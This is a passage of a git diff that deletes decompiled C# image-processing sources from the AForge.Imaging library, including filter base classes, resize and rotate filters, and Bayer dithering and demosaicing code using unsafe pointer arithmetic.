missing references) - CheckSourceFormat(image.PixelFormat); - UnmanagedImage unmanagedImage = UnmanagedImage.Create(image.Width, image.Height, image.PixelFormat); - Apply(image, unmanagedImage); - return unmanagedImage; - } - - public unsafe void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Unknown result type (might be due to invalid IL or missing references) - //IL_0013: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(sourceImage.PixelFormat); - if (destinationImage.PixelFormat != sourceImage.PixelFormat) - { - throw new InvalidImagePropertiesException("Destination pixel format must be the same as pixel format of source image."); - } - if (destinationImage.Width != sourceImage.Width || destinationImage.Height != sourceImage.Height) - { - throw new InvalidImagePropertiesException("Destination image must have the same width and height as source image."); - } - int stride = destinationImage.Stride; - int stride2 = sourceImage.Stride; - int count = System.Math.Min(stride2, stride); - byte* ptr = (byte*)destinationImage.ImageData.ToPointer(); - byte* ptr2 = (byte*)sourceImage.ImageData.ToPointer(); - int i = 0; - for (int height = sourceImage.Height; i < height; i++) - { - SystemTools.CopyUnmanagedMemory(ptr, ptr2, count); - ptr += stride; - ptr2 += stride2; - } - ProcessFilter(destinationImage, new Rectangle(0, 0, destinationImage.Width, destinationImage.Height)); - } - - public void ApplyInPlace(Bitmap image) - { - ApplyInPlace(image, new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height)); - } - - public void ApplyInPlace(BitmapData imageData) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(imageData.PixelFormat); - ProcessFilter(new UnmanagedImage(imageData), new Rectangle(0, 0, imageData.Width, imageData.Height)); - } - - public void ApplyInPlace(UnmanagedImage image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - ProcessFilter(image, new Rectangle(0, 0, image.Width, image.Height)); - } - - public void ApplyInPlace(Bitmap image, Rectangle rect) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)3, ((Image)image).PixelFormat); - try - { - ApplyInPlace(new UnmanagedImage(val), rect); - } - finally - { - image.UnlockBits(val); - } - } - - public void ApplyInPlace(BitmapData imageData, Rectangle rect) - { - ApplyInPlace(new UnmanagedImage(imageData), rect); - } - - public void ApplyInPlace(UnmanagedImage image, Rectangle rect) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - rect.Intersect(new Rectangle(0, 0, image.Width, image.Height)); - if ((rect.Width | rect.Height) != 0) - { - ProcessFilter(image, rect); - } - } - - protected abstract void ProcessFilter(UnmanagedImage image, Rectangle rect); - - private void CheckSourceFormat(PixelFormat pixelFormat) - { - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - if (!FormatTranslations.ContainsKey(pixelFormat)) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported by the filter."); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseResizeFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseResizeFilter.cs deleted file mode 100644 index 9991b5f..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseResizeFilter.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using System.Drawing; - -namespace AForge.Imaging.Filters; - -public abstract class BaseResizeFilter : BaseTransformationFilter -{ - protected int newWidth; - - protected int newHeight; - - public int NewWidth - { - get - { - return newWidth; - } - set - { - newWidth = System.Math.Max(1, value); - } - } - - public int NewHeight - { - get - { - return newHeight; - } - set - { - newHeight = System.Math.Max(1, value); - } - } - - protected BaseResizeFilter(int newWidth, int newHeight) - { - this.newWidth = newWidth; - this.newHeight = newHeight; - } - - protected override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - return new Size(newWidth, newHeight); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseRotateFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseRotateFilter.cs deleted file mode 100644 index 21aafa4..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseRotateFilter.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Drawing; - -namespace AForge.Imaging.Filters; - -public abstract class BaseRotateFilter : BaseTransformationFilter -{ - protected double angle; - - protected bool keepSize; - - protected Color fillColor = Color.FromArgb(0, 0, 0); - - public double Angle - { - get - { - return angle; - } - set - { - angle = value % 360.0; - } - } - - public bool KeepSize - { - get - { - return keepSize; - } - set - { - keepSize = value; - } - } - - public Color FillColor - { - get - { - return fillColor; - } - set - { - fillColor = value; - } - } - - public BaseRotateFilter(double angle) - { - this.angle = angle; - } - - public BaseRotateFilter(double angle, bool keepSize) - { - this.angle = angle; - this.keepSize = keepSize; - } - - protected override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - if (keepSize) - { - return new Size(sourceData.Width, sourceData.Height); - } - double num = (0.0 - angle) * System.Math.PI / 180.0; - double num2 = System.Math.Cos(num); - double num3 = System.Math.Sin(num); - double num4 = (double)sourceData.Width / 2.0; - double num5 = (double)sourceData.Height / 2.0; - double val = num4 * num2; - double val2 = num4 * num3; - double val3 = num4 * num2 - num5 * num3; - double val4 = num4 * num3 + num5 * num2; - double val5 = (0.0 - num5) * num3; - double val6 = num5 * num2; - double val7 = 0.0; - double val8 = 0.0; - num4 = System.Math.Max(System.Math.Max(val, val3), System.Math.Max(val5, val7)) - System.Math.Min(System.Math.Min(val, val3), System.Math.Min(val5, val7)); - num5 = System.Math.Max(System.Math.Max(val2, val4), System.Math.Max(val6, val8)) - System.Math.Min(System.Math.Min(val2, val4), System.Math.Min(val6, val8)); - return new Size((int)(num4 * 2.0 + 0.5), (int)(num5 * 2.0 + 0.5)); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseTransformationFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseTransformationFilter.cs deleted file mode 100644 index d66e8a3..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseTransformationFilter.cs +++ /dev/null @@ -1,101 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public abstract class BaseTransformationFilter : IFilter, IFilterInformation -{ - public abstract Dictionary FormatTranslations { get; } - - public Bitmap Apply(Bitmap image) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - Bitmap val2 = null; - try - { - val2 = Apply(val); - if (((Image)image).HorizontalResolution > 0f && ((Image)image).VerticalResolution > 0f) - { - val2.SetResolution(((Image)image).HorizontalResolution, ((Image)image).VerticalResolution); - } - } - finally - { - image.UnlockBits(val); - } - return val2; - } - - public Bitmap Apply(BitmapData imageData) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0013: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Unknown result type (might be due to invalid IL or missing references) - //IL_0031: Invalid comparison between Unknown and I4 - //IL_0041: Unknown result type (might be due to invalid IL or missing references) - //IL_0042: Unknown result type (might be due to invalid IL or missing references) - //IL_0074: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(imageData.PixelFormat); - PixelFormat val = FormatTranslations[imageData.PixelFormat]; - Size size = CalculateNewImageSize(new UnmanagedImage(imageData)); - Bitmap val2 = (Bitmap)(((int)val == 198659) ? ((object)Image.CreateGrayscaleImage(size.Width, size.Height)) : ((object)new Bitmap(size.Width, size.Height, val))); - BitmapData val3 = val2.LockBits(new Rectangle(0, 0, size.Width, size.Height), (ImageLockMode)3, val); - try - { - ProcessFilter(new UnmanagedImage(imageData), new UnmanagedImage(val3)); - } - finally - { - val2.UnlockBits(val3); - } - return val2; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0029: Unknown result type (might be due to invalid IL or missing references) - //IL_002e: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - Size size = CalculateNewImageSize(image); - UnmanagedImage unmanagedImage = UnmanagedImage.Create(size.Width, size.Height, FormatTranslations[image.PixelFormat]); - ProcessFilter(image, unmanagedImage); - return unmanagedImage; - } - - public void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(sourceImage.PixelFormat); - if (destinationImage.PixelFormat != FormatTranslations[sourceImage.PixelFormat]) - { - throw new InvalidImagePropertiesException("Destination pixel format is specified incorrectly."); - } - Size size = CalculateNewImageSize(sourceImage); - if (destinationImage.Width != size.Width || destinationImage.Height != size.Height) - { - throw new InvalidImagePropertiesException("Destination image must have the size expected by the filter."); - } - ProcessFilter(sourceImage, destinationImage); - } - - protected abstract Size CalculateNewImageSize(UnmanagedImage sourceData); - - protected abstract void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData); - - private void CheckSourceFormat(PixelFormat pixelFormat) - { - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - if (!FormatTranslations.ContainsKey(pixelFormat)) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported by the filter."); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseUsingCopyPartialFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseUsingCopyPartialFilter.cs deleted file mode 100644 index d4f7c9d..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BaseUsingCopyPartialFilter.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public abstract class BaseUsingCopyPartialFilter : IFilter, IInPlaceFilter, IInPlacePartialFilter, IFilterInformation -{ - public abstract Dictionary FormatTranslations { get; } - - public Bitmap Apply(Bitmap image) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - Bitmap val2 = null; - try - { - val2 = Apply(val); - if (((Image)image).HorizontalResolution > 0f && ((Image)image).VerticalResolution > 0f) - { - val2.SetResolution(((Image)image).HorizontalResolution, ((Image)image).VerticalResolution); - } - } - finally - { - image.UnlockBits(val); - } - return val2; - } - - public Bitmap Apply(BitmapData imageData) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_0026: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Unknown result type (might be due to invalid IL or missing references) - //IL_002c: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - //IL_0036: Unknown result type (might be due to invalid IL or missing references) - //IL_0037: Unknown result type (might be due to invalid IL or missing references) - //IL_0051: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(imageData.PixelFormat); - int width = imageData.Width; - int height = imageData.Height; - PixelFormat val = FormatTranslations[imageData.PixelFormat]; - Bitmap val2 = (Bitmap)(((int)val == 198659) ? ((object)Image.CreateGrayscaleImage(width, height)) : ((object)new Bitmap(width, height, val))); - BitmapData val3 = val2.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, val); - try - { - ProcessFilter(new UnmanagedImage(imageData), new UnmanagedImage(val3), new Rectangle(0, 0, width, height)); - } - finally - { - val2.UnlockBits(val3); - } - return val2; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_001f: Unknown result type (might be due to invalid IL or missing references) - //IL_0024: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - UnmanagedImage unmanagedImage = UnmanagedImage.Create(image.Width, image.Height, FormatTranslations[image.PixelFormat]); - ProcessFilter(image, unmanagedImage, new Rectangle(0, 0, image.Width, image.Height)); - return unmanagedImage; - } - - public void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(sourceImage.PixelFormat); - if (destinationImage.PixelFormat != FormatTranslations[sourceImage.PixelFormat]) - { - throw new InvalidImagePropertiesException("Destination pixel format is specified incorrectly."); - } - if (destinationImage.Width != sourceImage.Width || destinationImage.Height != sourceImage.Height) - { - throw new InvalidImagePropertiesException("Destination image must have the same width and height as source image."); - } - ProcessFilter(sourceImage, destinationImage, new Rectangle(0, 0, sourceImage.Width, sourceImage.Height)); - } - - public void ApplyInPlace(Bitmap image) - { - ApplyInPlace(image, new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height)); - } - - public void ApplyInPlace(BitmapData imageData) - { - ApplyInPlace(new UnmanagedImage(imageData), new Rectangle(0, 0, imageData.Width, imageData.Height)); - } - - public void ApplyInPlace(UnmanagedImage image) - { - ApplyInPlace(image, new Rectangle(0, 0, image.Width, image.Height)); - } - - public void ApplyInPlace(Bitmap image, Rectangle rect) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)3, ((Image)image).PixelFormat); - try - { - ApplyInPlace(new UnmanagedImage(val), rect); - } - finally - { - image.UnlockBits(val); - } - } - - public void ApplyInPlace(BitmapData imageData, Rectangle rect) - { - ApplyInPlace(new UnmanagedImage(imageData), rect); - } - - public void ApplyInPlace(UnmanagedImage image, Rectangle rect) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_006f: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - rect.Intersect(new Rectangle(0, 0, image.Width, image.Height)); - if ((rect.Width | rect.Height) != 0) - { - int num = image.Stride * image.Height; - IntPtr intPtr = MemoryManager.Alloc(num); - SystemTools.CopyUnmanagedMemory(intPtr, image.ImageData, num); - ProcessFilter(new UnmanagedImage(intPtr, image.Width, image.Height, image.Stride, image.PixelFormat), image, rect); - MemoryManager.Free(intPtr); - } - } - - protected abstract void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData, Rectangle rect); - - private void CheckSourceFormat(PixelFormat pixelFormat) - { - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - if (!FormatTranslations.ContainsKey(pixelFormat)) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported by the filter."); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerDithering.cs deleted file mode 100644 index 1b933a4..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerDithering.cs +++ /dev/null @@ -1,15 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class BayerDithering : OrderedDithering -{ - public BayerDithering() - : base(new byte[4, 4] - { - { 0, 192, 48, 240 }, - { 128, 64, 176, 112 }, - { 32, 224, 16, 208 }, - { 160, 96, 144, 80 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerFilter.cs deleted file mode 100644 index 4728946..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerFilter.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class BayerFilter : BaseFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - private bool performDemosaicing = true; - - private int[,] bayerPattern = new int[2, 2] - { - { 1, 2 }, - { 0, 1 } - }; - - public bool PerformDemosaicing - { - get - { - return performDemosaicing; - } - set - { - performDemosaicing = value; - } - } - - public int[,] BayerPattern - { - get - { - return bayerPattern; - } - set - { - bayerPattern = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public BayerFilter() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - int width = sourceData.Width; - int height = sourceData.Height; - int num = width - 1; - int num2 = height - 1; - int stride = sourceData.Stride; - int num3 = stride - width; - int num4 = destinationData.Stride - width * 3; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - int[] array = new int[3]; - int[] array2 = new int[3]; - if (!performDemosaicing) - { - for (int i = 0; i < height; i++) - { - int num5 = 0; - while (num5 < width) - { - ptr2[2] = (ptr2[1] = (*ptr2 = 0)); - ptr2[bayerPattern[i & 1, num5 & 1]] = *ptr; - num5++; - ptr++; - ptr2 += 3; - } - ptr += num3; - ptr2 += num4; - } - return; - } - for (int j = 0; j < height; j++) - { - int num6 = 0; - while (num6 < width) - { - array[0] = (array[1] = (array[2] = 0)); - array2[0] = (array2[1] = (array2[2] = 0)); - int num7 = bayerPattern[j & 1, num6 & 1]; - array[num7] += *ptr; - array2[num7]++; - if (num6 != 0) - { - num7 = bayerPattern[j & 1, (num6 - 1) & 1]; - array[num7] += ptr[-1]; - array2[num7]++; - } - if (num6 != num) - { - num7 = bayerPattern[j & 1, (num6 + 1) & 1]; - array[num7] += ptr[1]; - array2[num7]++; - } - if (j != 0) - { - num7 = bayerPattern[(j - 1) & 1, num6 & 1]; - array[num7] += ptr[-stride]; - array2[num7]++; - if (num6 != 0) - { - num7 = bayerPattern[(j - 1) & 1, (num6 - 1) & 1]; - array[num7] += ptr[-stride - 1]; - array2[num7]++; - } - if (num6 != num) - { - num7 = bayerPattern[(j - 1) & 1, (num6 + 1) & 1]; - array[num7] += ptr[-stride + 1]; - array2[num7]++; - } - } - if (j != num2) - { - num7 = bayerPattern[(j + 1) & 1, num6 & 1]; - array[num7] += ptr[stride]; - array2[num7]++; - if (num6 != 0) - { - num7 = bayerPattern[(j + 1) & 1, (num6 - 1) & 1]; - array[num7] += ptr[stride - 1]; - array2[num7]++; - } - if (num6 != num) - { - num7 = bayerPattern[(j + 1) & 1, (num6 + 1) & 1]; - array[num7] += ptr[stride + 1]; - array2[num7]++; - } - } - ptr2[2] = (byte)(array[2] / array2[2]); - ptr2[1] = (byte)(array[1] / array2[1]); - *ptr2 = (byte)(array[0] / array2[0]); - num6++; - ptr++; - ptr2 += 3; - } - ptr += num3; - ptr2 += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerFilterOptimized.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerFilterOptimized.cs deleted file mode 100644 index 703b86a..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerFilterOptimized.cs +++ /dev/null @@ -1,271 +0,0 @@ -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class BayerFilterOptimized : BaseFilter -{ - private BayerPattern bayerPattern; - - private Dictionary formatTranslations = new Dictionary(); - - public BayerPattern Pattern - { - get - { - return bayerPattern; - } - set - { - bayerPattern = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public BayerFilterOptimized() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)137224; - } - - protected override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - int width = sourceData.Width; - int height = sourceData.Height; - if ((width & 1) == 1 || (height & 1) == 1 || width < 2 || height < 2) - { - throw new InvalidImagePropertiesException("Source image must have even width and height. Width and height can not be smaller than 2."); - } - switch (bayerPattern) - { - case BayerPattern.GRBG: - ApplyGRBG(sourceData, destinationData); - break; - case BayerPattern.BGGR: - ApplyBGGR(sourceData, destinationData); - break; - } - } - - private unsafe void ApplyGRBG(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - int width = sourceData.Width; - int height = sourceData.Height; - int num = width - 1; - int num2 = height - 1; - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - int num3 = stride + 1; - int num4 = stride - 1; - int num5 = -stride; - int num6 = num5 + 1; - int num7 = num5 - 1; - int num8 = stride - width; - int num9 = stride2 - width * 3; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr2[2] = ptr[1]; - ptr2[1] = (byte)(*ptr + ptr[num3] >> 1); - *ptr2 = ptr[stride]; - ptr++; - ptr2 += 3; - for (int i = 1; i < num; i += 2) - { - ptr2[2] = *ptr; - ptr2[1] = (byte)((ptr[stride] + ptr[-1] + ptr[1]) / 3); - *ptr2 = (byte)(ptr[num4] + ptr[num3] >> 1); - ptr++; - ptr2 += 3; - ptr2[2] = (byte)(ptr[-1] + ptr[1] >> 1); - ptr2[1] = (byte)((*ptr + ptr[num4] + ptr[num3]) / 3); - *ptr2 = ptr[stride]; - ptr++; - ptr2 += 3; - } - ptr2[2] = *ptr; - ptr2[1] = (byte)(ptr[-1] + ptr[stride] >> 1); - *ptr2 = ptr[num4]; - ptr += num8 + 1; - ptr2 += num9 + 3; - for (int j = 1; j < num2; j += 2) - { - ptr2[2] = (byte)(ptr[num6] + ptr[num3] >> 1); - ptr2[1] = (byte)((ptr[num5] + ptr[stride] + ptr[1]) / 3); - *ptr2 = *ptr; - ptr2 += stride2; - ptr += stride; - ptr2[2] = ptr[1]; - ptr2[1] = (byte)((*ptr + ptr[num6] + ptr[num3]) / 3); - *ptr2 = (byte)(ptr[num5] + ptr[stride] >> 1); - ptr2 -= stride2; - ptr -= stride; - ptr++; - ptr2 += 3; - for (int k = 1; k < num; k += 2) - { - ptr2[2] = (byte)(ptr[num5] + ptr[stride] >> 1); - ptr2[1] = (byte)((*ptr + ptr[num7] + ptr[num6] + ptr[num4] + ptr[num3]) / 5); - *ptr2 = (byte)(ptr[-1] + ptr[1] >> 1); - ptr2 += stride2; - ptr += stride; - ptr2[2] = *ptr; - ptr2[1] = (byte)(ptr[num5] + ptr[stride] + ptr[-1] + ptr[1] >> 2); - *ptr2 = (byte)(ptr[num7] + ptr[num6] + ptr[num4] + ptr[num3] >> 2); - ptr2 += 3; - ptr++; - ptr2[2] = (byte)(ptr[-1] + ptr[1] >> 1); - ptr2[1] = (byte)((*ptr + ptr[num7] + ptr[num6] + ptr[num4] + ptr[num3]) / 5); - *ptr2 = (byte)(ptr[num5] + ptr[stride] >> 1); - ptr2 -= stride2; - ptr -= stride; - ptr2[2] = (byte)(ptr[num7] + ptr[num6] + ptr[num4] + ptr[num3] >> 2); - ptr2[1] = (byte)(ptr[num5] + ptr[stride] + ptr[-1] + ptr[1] >> 2); - *ptr2 = *ptr; - ptr2 += 3; - ptr++; - } - ptr2[2] = (byte)(ptr[num5] + ptr[stride] >> 1); - ptr2[1] = (byte)((*ptr + ptr[num7] + ptr[num4]) / 3); - *ptr2 = ptr[-1]; - ptr += stride; - ptr2 += stride2; - ptr2[2] = *ptr; - ptr2[1] = (byte)((ptr[num5] + ptr[stride] + ptr[-1]) / 3); - *ptr2 = (byte)(ptr[num7] + ptr[num4] >> 1); - ptr += num8 + 1; - ptr2 += num9 + 3; - } - ptr2[2] = ptr[num6]; - ptr2[1] = (byte)(ptr[num5] + ptr[1] >> 1); - *ptr2 = *ptr; - ptr++; - ptr2 += 3; - for (int l = 1; l < num; l += 2) - { - ptr2[2] = ptr[num5]; - ptr2[1] = (byte)((ptr[num7] + ptr[num6] + *ptr) / 3); - *ptr2 = (byte)(ptr[-1] + ptr[1] >> 1); - ptr++; - ptr2 += 3; - ptr2[2] = (byte)(ptr[num7] + ptr[num6] >> 1); - ptr2[1] = (byte)((ptr[num5] + ptr[-1] + ptr[1]) / 3); - *ptr2 = *ptr; - ptr++; - ptr2 += 3; - } - ptr2[2] = ptr[num5]; - ptr2[1] = (byte)(*ptr + ptr[num7] >> 1); - *ptr2 = ptr[-1]; - } - - private unsafe void ApplyBGGR(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - int width = sourceData.Width; - int height = sourceData.Height; - int num = width - 1; - int num2 = height - 1; - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - int num3 = stride + 1; - int num4 = stride - 1; - int num5 = -stride; - int num6 = num5 + 1; - int num7 = num5 - 1; - int num8 = stride - width; - int num9 = stride2 - width * 3; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr2[2] = ptr[num3]; - ptr2[1] = (byte)(ptr[1] + ptr[stride] >> 1); - *ptr2 = *ptr; - ptr++; - ptr2 += 3; - for (int i = 1; i < num; i += 2) - { - ptr2[2] = ptr[stride]; - ptr2[1] = (byte)((*ptr + ptr[num4] + ptr[num3]) / 3); - *ptr2 = (byte)(ptr[-1] + ptr[1] >> 1); - ptr++; - ptr2 += 3; - ptr2[2] = (byte)(ptr[num4] + ptr[num3] >> 1); - ptr2[1] = (byte)((ptr[-1] + ptr[stride] + ptr[1]) / 3); - *ptr2 = *ptr; - ptr++; - ptr2 += 3; - } - ptr2[2] = ptr[stride]; - ptr2[1] = (byte)(*ptr + ptr[num4] >> 1); - *ptr2 = ptr[-1]; - ptr += num8 + 1; - ptr2 += num9 + 3; - for (int j = 1; j < num2; j += 2) - { - ptr2[2] = ptr[1]; - ptr2[1] = (byte)((ptr[num6] + ptr[num3] + *ptr) / 3); - *ptr2 = (byte)(ptr[num5] + ptr[stride] >> 1); - ptr2 += stride2; - ptr += stride; - ptr2[2] = (byte)(ptr[num6] + ptr[num3] >> 1); - ptr2[1] = (byte)((ptr[1] + ptr[num5] + ptr[stride]) / 3); - *ptr2 = *ptr; - ptr2 -= stride2; - ptr -= stride; - ptr++; - ptr2 += 3; - for (int k = 1; k < num; k += 2) - { - ptr2[2] = *ptr; - ptr2[1] = (byte)(ptr[num5] + ptr[stride] + ptr[-1] + ptr[1] >> 2); - *ptr2 = (byte)(ptr[num7] + ptr[num6] + ptr[num4] + ptr[num3] >> 2); - ptr2 += stride2; - ptr += stride; - ptr2[2] = (byte)(ptr[num5] + ptr[stride] >> 1); - ptr2[1] = (byte)((*ptr + ptr[num7] + ptr[num6] + ptr[num4] + ptr[num3]) / 5); - *ptr2 = (byte)(ptr[-1] + ptr[1] >> 1); - ptr2 += 3; - ptr++; - ptr2[2] = (byte)(ptr[num7] + ptr[num6] + ptr[num4] + ptr[num3] >> 2); - ptr2[1] = (byte)(ptr[num5] + ptr[stride] + ptr[-1] + ptr[1] >> 2); - *ptr2 = *ptr; - ptr2 -= stride2; - ptr -= stride; - ptr2[2] = (byte)(ptr[-1] + ptr[1] >> 1); - ptr2[1] = (byte)((ptr[num7] + ptr[num6] + ptr[num4] + ptr[num3] + *ptr) / 5); - *ptr2 = (byte)(ptr[num5] + ptr[stride] >> 1); - ptr2 += 3; - ptr++; - } - ptr2[2] = *ptr; - ptr2[1] = (byte)((ptr[num5] + ptr[stride] + ptr[-1]) / 3); - *ptr2 = (byte)(ptr[num7] + ptr[num4] >> 1); - ptr += stride; - ptr2 += stride2; - ptr2[2] = (byte)(ptr[num5] + ptr[stride] >> 1); - ptr2[1] = (byte)((ptr[num7] + ptr[num4] + *ptr) / 3); - *ptr2 = ptr[-1]; - ptr += num8 + 1; - ptr2 += num9 + 3; - } - ptr2[2] = ptr[1]; - ptr2[1] = (byte)(ptr[num6] + *ptr >> 1); - *ptr2 = ptr[num5]; - ptr++; - ptr2 += 3; - for (int l = 1; l < num; l += 2) - { - ptr2[2] = *ptr; - ptr2[1] = (byte)((ptr[-1] + ptr[1] + ptr[num5]) / 3); - *ptr2 = (byte)(ptr[num7] + ptr[num6] >> 1); - ptr++; - ptr2 += 3; - ptr2[2] = (byte)(ptr[-1] + ptr[1] >> 1); - ptr2[1] = (byte)((*ptr + ptr[num7] + ptr[num6]) / 3); - *ptr2 = ptr[num5]; - ptr++; - ptr2 += 3; - } - ptr2[2] = *ptr; - ptr2[1] = (byte)(ptr[num5] + ptr[-1] >> 1); - *ptr2 = ptr[num7]; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerPattern.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerPattern.cs deleted file mode 100644 index fe956b0..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BayerPattern.cs +++ /dev/null @@ -1,7 +0,0 @@ -namespace AForge.Imaging.Filters; - -public enum BayerPattern -{ - GRBG, - BGGR -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BilateralSmoothing.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BilateralSmoothing.cs deleted file mode 100644 index a047e15..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BilateralSmoothing.cs +++ /dev/null @@ -1,581 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class BilateralSmoothing : BaseUsingCopyPartialFilter -{ - private const int maxKernelSize = 255; - - private const int colorsCount = 256; - - private Dictionary formatTranslations = new Dictionary(); - - private int kernelSize = 9; - - private double spatialFactor = 